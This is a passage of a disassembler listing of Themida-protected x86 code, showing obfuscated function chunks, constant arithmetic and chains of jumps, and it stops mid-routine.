; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5A4332:				; CODE XREF: sub_5AA46D-35E9j
		push	eax
		jmp	loc_5AC1C8
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE24


loc_5A4338:				; CODE XREF: sub_59EE24+360Fj
		mov	[esp-4+arg_0], edi
		push	4000h
		pop	edi
		and	eax, edi
		push	[esp-4+arg_0]
		jmp	loc_59ED3B
; END OF FUNCTION CHUNK	FOR sub_59EE24
; ---------------------------------------------------------------------------


loc_5A434B:				; CODE XREF: Themida_:loc_5AC70Dj
		or	ecx, 22959CDh
		jno	loc_5AB2D1
		xor	ecx, 4BCB0449h
		jmp	loc_5A9980
; ---------------------------------------------------------------------------
		mov	bl, 0B2h


loc_5A4364:				; CODE XREF: Themida_:0059A92Dj
		push	48C5h
		mov	[esp], esi
		jmp	loc_5AB8D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A4371:				; CODE XREF: sub_5AC95F-BFFFj
		mov	[esp-4+arg_0], eax
		mov	eax, 36D90E5Ch
		add	ebx, eax
		pop	eax
		add	ebx, 4A942AC6h
		add	ebx, eax
		jmp	loc_5A4AFC
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A4389:				; CODE XREF: sub_5986D6+6j
		jmp	loc_5A0D6A
; END OF FUNCTION CHUNK	FOR sub_5986D6

; =============== S U B	R O U T	I N E =======================================



sub_5A438E	proc near		; DATA XREF: Themida_:00597AC8o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00598507 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059A356 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059A40E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EBB6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2153 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2253 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3324 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A427C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A45CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A4D4E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A5C94 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A73FA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A7E8D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A96C7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A985E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA2A6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB4FC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AB792 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ACB3C SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005AD1DF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AE050 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AECBA SIZE 0000000A BYTES

		push	dword ptr [edi+1Ch]
		mov	eax, [esp+4+var_4]
		push	edi
		push	67B9h
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	edi
		add	edi, 4
		push	0A21h
		mov	[esp+0Ch+var_C], esi
		push	edi
		mov	edi, 6653789Fh
		shl	edi, 7
		jmp	loc_5A96C7
sub_5A438E	endp

; ---------------------------------------------------------------------------


loc_5A43C1:				; CODE XREF: Themida_:0059EC0Cj
		add	edi, 392F0B39h
		sub	edi, esi
		sub	edi, 392F0B39h
		mov	esi, [esp]
		jmp	loc_59F543
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A43D7:				; CODE XREF: sub_5A8C33+A07j
		jle	loc_59E8C9
		sub	ebx, 0C937538h
		jge	loc_59BBD6
		jmp	loc_5AEFA2
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
		push	esp
		pop	eax
		add	eax, 4
		push	edx
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A43F6:				; CODE XREF: sub_5A728F+1E5Aj
		push	edx
		mov	edx, 7F2F26E8h
		xor	eax, edx
		pop	edx
		shr	eax, 7
		jnz	loc_5ACC3F
		sub	eax, 188827BBh
		jno	loc_59C148
; END OF FUNCTION CHUNK	FOR sub_5A728F
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5A4413:				; CODE XREF: sub_59F20F+Bj
		add	ebx, 4
		push	ebp
		push	ebx
		mov	ebx, 5ACA29E2h
		inc	ebx
		shl	ebx, 1
		jz	loc_5A7746
		add	ebx, 76410E0Fh
		xor	ebx, 2BD561D1h
		push	ebx
		add	[esp+10h+var_10], 4FFE11E7h
		pop	ebp
		sub	ebp, 4FFE11E7h
		pop	ebx
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+4+var_4]
		jmp	loc_5A92F0
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------


loc_5A4450:				; CODE XREF: Themida_:005A37ECj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5A1948
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_5A445D:				; CODE XREF: sub_5AAA81-54E8j
		push	5D1D3134h
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5A0532
; END OF FUNCTION CHUNK	FOR sub_5AAA81

; =============== S U B	R O U T	I N E =======================================



sub_5A4470	proc near		; CODE XREF: sub_5A8EEF+Cj

; FUNCTION CHUNK AT 0059DEF2 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059F7FF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A45BB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AE04A SIZE 00000006 BYTES

		push	ebp
		pop	esi
		pop	ebp
		sub	esi, 0FFE3CB3Dh
		push	edx
		jmp	loc_59F7FF
sub_5A4470	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A447F:				; CODE XREF: sub_59A932+6C1Dj
		add	edx, 84F7A3BBh
		mov	edi, edx
		pop	edx
		and	edi, 4B34000Ah
		sub	edi, 5145594Bh
		push	edi
		not	[esp+10h+var_10]
		pop	edi
		shl	edi, 5
		neg	edi
		xor	edi, 0A9D8BEC7h
		sub	esi, edi
		pop	edi
		sub	esi, 4EA4019Ch
		add	esi, edx
		add	esi, 4EA4019Ch
		add	esi, 748C66C7h
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		xchg	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	esp
		jmp	loc_5A057E
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_5A44DA:				; CODE XREF: sub_5ADE3B-DF5j
		neg	dh
		shr	dh, 3
		jmp	loc_5ADF0D
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A44E4:				; CODE XREF: sub_5A8D43-B1BDj
					; sub_5AA256-A693j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		sub	edi, 0EC41597h
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_5A951E
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A4510:				; CODE XREF: sub_599059+11632j
		push	6709h
		mov	[esp+2+var_4+2], ebx
		push	61Bh
		mov	[esp], ebp
		jmp	loc_5AEA1C
; ---------------------------------------------------------------------------


loc_5A4525:				; CODE XREF: sub_599059+6616j
		pop	esp
		jmp	loc_5AD19D
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5A452B:				; CODE XREF: sub_59EB21+268Bj
		add	esp, 4
		pop	ebx
		xor	ebx, esi
		jmp	loc_59B99D
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A4539:				; CODE XREF: sub_5A8C33-3A5Cj
		mov	eax, edx
		jmp	loc_5AB73A
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A4540:				; CODE XREF: Themida_:005A6ED1j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A6160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5A454B:				; CODE XREF: sub_5A58AC-7277j
		shr	edx, 7
		push	eax
		mov	eax, 1EAC2840h
		sub	eax, 0FFFFFFFFh
		jmp	loc_5AB030
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------


loc_5A455C:				; DATA XREF: Themida_:005978C0o
		mov	ax, [esp]
		push	0D04h
		jmp	loc_59BFA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_5A456A:				; CODE XREF: sub_5991B7+BFA2j
					; sub_5AE6FD-30BBj
		pop	eax
		jmp	loc_598BBF
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A4570:				; CODE XREF: sub_5A1B2A:loc_59FDB2j
		sub	dh, 93h
		mov	bl, dh
		pop	edx
		add	bl, 90h
		jmp	sub_5AA256
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A457E:				; CODE XREF: sub_5ACD64-FFD5j
		mov	eax, [esp-8+arg_4]
		push	36ECh
		mov	[esp-4+arg_0], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_5ADA47
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A459F:				; CODE XREF: sub_5AC95F-184Dj
		add	edx, 4
		add	edx, 4
		jmp	loc_59F172
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A45AD:				; CODE XREF: sub_5A3F42+47F6j
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], eax
		jmp	sub_5A20F9
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4470


loc_5A45BB:				; CODE XREF: sub_5A4470-4C6Cj
		not	edx
		sub	edx, 1CF8AB4Fh
		add	eax, edx
		jmp	loc_5AE04A
; END OF FUNCTION CHUNK	FOR sub_5A4470
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A45CA:				; CODE XREF: sub_5A438E+9C2j
		jmp	loc_5A5C94
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A45CF:				; CODE XREF: sub_5AEE2E-EE47j
		sub	ecx, eax
		mov	eax, [esp+0]
		jmp	loc_5AD02A
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_5A45D9:				; CODE XREF: sub_59CFBF+5A11j
		add	eax, ebx
		add	eax, 700855A1h
		jmp	loc_5A841D
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_5A45E5:				; CODE XREF: sub_598462+239j
		shr	ch, 8
		jmp	loc_59A726
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------


loc_5A45ED:				; CODE XREF: Themida_:0059BF65j
		push	ebx
		mov	ebx, 1B043EADh
		xor	ebx, 6FA61A47h
		inc	ebx
		jmp	loc_5ABFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5A45FF:				; CODE XREF: sub_5A34FD+74C6j
		mov	bh, 0EDh
		jmp	loc_59A41C
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------


loc_5A4606:				; CODE XREF: Themida_:0059CBA6j
		sub	al, 0FEh
		jmp	loc_5A3F18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5A460D:				; CODE XREF: sub_599526-5A2j
		mov	ax, [esp+0]
		add	esp, 2
		sub	dl, ch
		pop	ecx
		jmp	loc_59C031
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5A461C:				; CODE XREF: sub_599721+4457j
		mov	[esp+4+var_4], esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_599386
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A4629:				; CODE XREF: sub_59D99C+1D8Fj
		pop	edi
		jmp	loc_5AD3BC
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A462F	proc near		; CODE XREF: sub_59C683+A667j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0059B8BB SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059C170 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A8DBA SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A8DBA
sub_5A462F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_5A463D:				; CODE XREF: sub_5A8899-F82Aj
		sub	edx, 0C52AB77Ah
		push	edx
		sub	[esp+10h+var_10], 234B3F59h
		jmp	loc_5AC5EA
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5A4650:				; CODE XREF: sub_59D151+F803j
					; sub_59EB21+E9ACj
		shr	eax, 12h
		jmp	loc_5AC1AA
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A4658:				; CODE XREF: sub_5A41D6+A933j
		xor	ch, 9Dh
		jmp	loc_5A653D
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------


loc_5A4660:				; CODE XREF: Themida_:005A8FCEj
		mov	esi, 28495040h
		shl	esi, 3
		push	ecx
		mov	ecx, 221D36D5h
		xor	esi, ecx
		pop	ecx
		or	esi, 12ED5E20h
		add	esi, 8D00010Fh
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5AC1E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A468B:				; CODE XREF: Themida_:0059ABC2j
					; sub_5AC95F:loc_5A6EC9j
		neg	cl
		jl	loc_59BFE5
		jmp	loc_5A6E66
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		xor	eax, 2D575B0Ah
		and	al, 80h
		mov	cl, 0F1h
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A46A1:				; CODE XREF: sub_5AE6FD-B9B2j
		sub	bl, cl
		sub	esp, 4
		jmp	loc_5AEEEA
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A46AB:				; CODE XREF: sub_59FFBE-2A43j
					; Themida_:0059F7AFj
		jmp	loc_5A83F6
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A46B0:				; CODE XREF: sub_59CA4A+E0A4j
		sub	eax, 17806D45h
		mov	ebp, eax
		mov	eax, [esp+14h+var_14]
		jmp	loc_5981A7
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5A46BF:				; CODE XREF: sub_59AE49+68CAj
		add	esp, 4
		push	292h
		mov	[esp+0], eax
		push	ebp
		push	395F0075h
		pop	ebp
		jmp	loc_5A0A24
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A46D9:				; CODE XREF: sub_5A3F42+456Ej
		pop	ecx
		jmp	loc_5AED46
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_5A46DF:				; CODE XREF: Themida_:005A2E20j
		pop	esi
		pop	dword ptr [esp]
		push	66B8h
		jmp	loc_59C07A
; ---------------------------------------------------------------------------


loc_5A46ED:				; CODE XREF: Themida_:005A08FCj
		mov	[esp], ecx
		push	18BC3350h
		jmp	loc_5A804A
; ---------------------------------------------------------------------------


loc_5A46FA:				; CODE XREF: Themida_:0059C3DAj
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59DB8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A4709:				; CODE XREF: sub_5AC95F-C1CEj
		add	eax, 7BEB4955h
		jmp	loc_59D658
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5A4713:				; CODE XREF: sub_5AB511-F6D9j
					; sub_59DFDD+512Dj
		push	ecx
		mov	ecx, 3EE8393Fh
		mov	edi, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5ACB1C
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A4726:				; CODE XREF: sub_5AC95F+1031j
		add	edx, 1
		sub	edx, 0FFFFFFFFh
		inc	edx
		push	esi
		mov	esi, 7A1F766Ch
		and	esi, 7FCD1331h
		push	edi
		mov	edi, 1B3D57FCh
		dec	edi
		shl	edi, 2
		jmp	loc_59A225
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A474B:				; CODE XREF: sub_59A932+CFC7j
		add	esp, 4
		push	7F45h
		mov	[esp+0Ch+var_C], ebx
		push	eax
		jmp	loc_5A6B10
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71A8


loc_5A475C:				; CODE XREF: sub_5A71A8-ECC4j
		pop	eax
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		push	787Dh
		mov	[esp+8+var_8], ebp
		push	303A2104h
		pop	ebp
		sub	ebp, 0BEF8DC7Ah
		push	ebp
		jmp	loc_5A4297
; END OF FUNCTION CHUNK	FOR sub_5A71A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A478C:				; CODE XREF: sub_59EE40-4757j
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_59976F
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADCDE


loc_5A479C:				; CODE XREF: sub_5ADCDE-394Dj
		pop	dword ptr [esp+0]
		jmp	loc_5A0DDD
; END OF FUNCTION CHUNK	FOR sub_5ADCDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A47A4:				; CODE XREF: sub_59EE40+E3F3j
		add	eax, 1BB35211h
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_598629
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59E970
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A47CE:				; CODE XREF: sub_5A8C33-8FF5j
		mov	esp, [esp+10h+var_10]
		xor	word ptr [esp+10h+var_10], ax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A47DB:				; CODE XREF: Themida_:005A8E7Fj
		push	esi
		mov	esi, 4
		jmp	loc_5A948D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A47E6:				; CODE XREF: sub_59ACEC:loc_5ADF7Cj
		shl	ebx, 7
		jp	loc_5AAFFA
		xor	ebx, 2F2707F3h
		jmp	loc_5A709A
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A47FA:				; CODE XREF: sub_5AB3DC-C184j
		push	eax
		push	esp
		mov	eax, [esp-6+arg_0+2]
		add	esp, 4
		push	64C7h
		mov	[esp-6+arg_0+2], ebp
		jmp	sub_5AAB0E
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB531


loc_5A480F:				; CODE XREF: sub_5AB531-C425j
		dec	ebx
		jmp	loc_599354
; END OF FUNCTION CHUNK	FOR sub_5AB531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A4815:				; CODE XREF: sub_59C53B-296Fj
		add	ecx, 1EF356EAh
		add	ecx, ebp
		sub	ecx, 1EF356EAh
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		jmp	sub_5ADB3A
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A4831:				; CODE XREF: sub_5A91EC-C8EFj
		xor	edx, esi
		pop	esi
		push	6EAAh
		mov	[esp-18h+arg_14], edx
		jmp	loc_5A6060
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------


loc_5A4841:				; CODE XREF: Themida_:00599880j
		or	edi, 612E2AFEh
		inc	edi
		jmp	loc_5A3317

; =============== S U B	R O U T	I N E =======================================



sub_5A484D	proc near		; CODE XREF: sub_5AA396+87Fj

arg_14		= dword	ptr  18h

; FUNCTION CHUNK AT 00598935 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 0059BA17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C8D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059E91B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A3CD1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A5EBF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A7F86 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA5AF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AD65B SIZE 0000001C BYTES

		push	ebx
		push	6F772CBEh
		pop	ebx
		and	ebx, 36EF5E69h
		add	ebx, 3C51FF9h
		mov	ebp, ebx
		pop	ebx
		shr	ebp, 1
		dec	ebp
		jns	loc_5AA5AF
		sub	ebp, 55F0560Ah
		and	al, 0C6h
		mov	bh, dh
sub_5A484D	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A4876:				; CODE XREF: sub_59B707+117D7j
		sub	[esp-10h+arg_C], eax
		pop	eax
		shr	eax, 5
		xor	eax, 6B0C28D2h
		add	edx, eax
		pop	eax
		mov	edi, edx
		jmp	loc_5A1B54
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5A488C:				; CODE XREF: sub_59FDC7+3j
		mov	[esp+4+var_4], ecx
		push	esi
		mov	esi, 57AF62F6h
		jmp	loc_59CB06
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5A489A:				; CODE XREF: sub_5ABA9B-3346j
		xor	edx, esi
		pop	esi
		jmp	loc_5A251B
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A48A2:				; CODE XREF: sub_59D99C-3936j
		shl	esi, 2
		neg	esi
		sub	esi, 0ADEFD3F8h
		sub	eax, 280C49CEh
		add	eax, esi
		add	eax, 280C49CEh
		pop	esi
		add	eax, 4
		xor	eax, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], eax
		xor	eax, [esp+16h+var_18+2]
		jmp	loc_59E25E
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A48CB:				; CODE XREF: sub_5A1B2A-3E7Ej
		mov	[esp+0], edx
		jmp	loc_5A29DF
; ---------------------------------------------------------------------------


loc_5A48D3:				; CODE XREF: sub_5A1B2A-21E8j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp-4+arg_0]
		pop	esp
		jmp	loc_59C4DE
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A48E2:				; CODE XREF: sub_59D99C-4EA9j
		mov	[esp-8+arg_4], ecx
		mov	ecx, 66041D61h
		dec	ecx
		jge	loc_5ADDA5
		shr	ecx, 4
		jnp	loc_59F992
		mov	eax, edi
		mov	al, bh


loc_5A48FE:				; CODE XREF: sub_59B707-3587j
		mov	edi, 67131EBEh
		sub	edi, 24EADA65h
		sub	edx, edi
		pop	edi
		jmp	loc_5AD2E4
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A4911:				; CODE XREF: sub_5ACD64-BC0Fj
		add	[esp-4+arg_4], esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		mov	ebp, [esp-8+arg_4]
		push	ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 71400570h
		and	eax, 703440Fh
		push	edi
		jmp	loc_5A2F77
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A4932:				; CODE XREF: sub_5A8D43-11048j
		pop	esp
		jmp	loc_5A57BD
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5A4938:				; CODE XREF: sub_5AA46D-101E6j
		push	edx
		mov	edx, 0C66DEC45h
		sub	ebp, edx
		jmp	loc_5A4B98
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------


loc_5A4945:				; CODE XREF: Themida_:loc_59E0EBj
		add	cl, 95h
		mov	ah, cl
		pop	ecx
		push	2508h
		mov	[esp], edx
		jmp	loc_59F35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A4958:				; CODE XREF: sub_5A1B2A+BF32j
		pop	esi
		add	eax, 134C1103h
		jmp	loc_5A40F2
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A4963:				; CODE XREF: sub_597C68+AFC7j
		add	esi, 4
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		or	eax, eax
		jz	sub_59CD12
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp+0]
		push	dword ptr [esp+0]
		jmp	loc_59C141
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------


loc_5A4985:				; CODE XREF: Themida_:0059AF84j
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59FD9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A49A2:				; CODE XREF: sub_59D99C+F950j
		mov	esi, [esp+0]
		add	esp, 4
		add	edx, 4
		xor	edx, dword ptr [esp-10h+arg_C]
		xor	dword ptr [esp-10h+arg_C], edx
		xor	edx, dword ptr [esp-10h+arg_C]
		mov	esp, dword ptr [esp-10h+arg_C]
		sub	esp, 4
		mov	[esp+0], edx
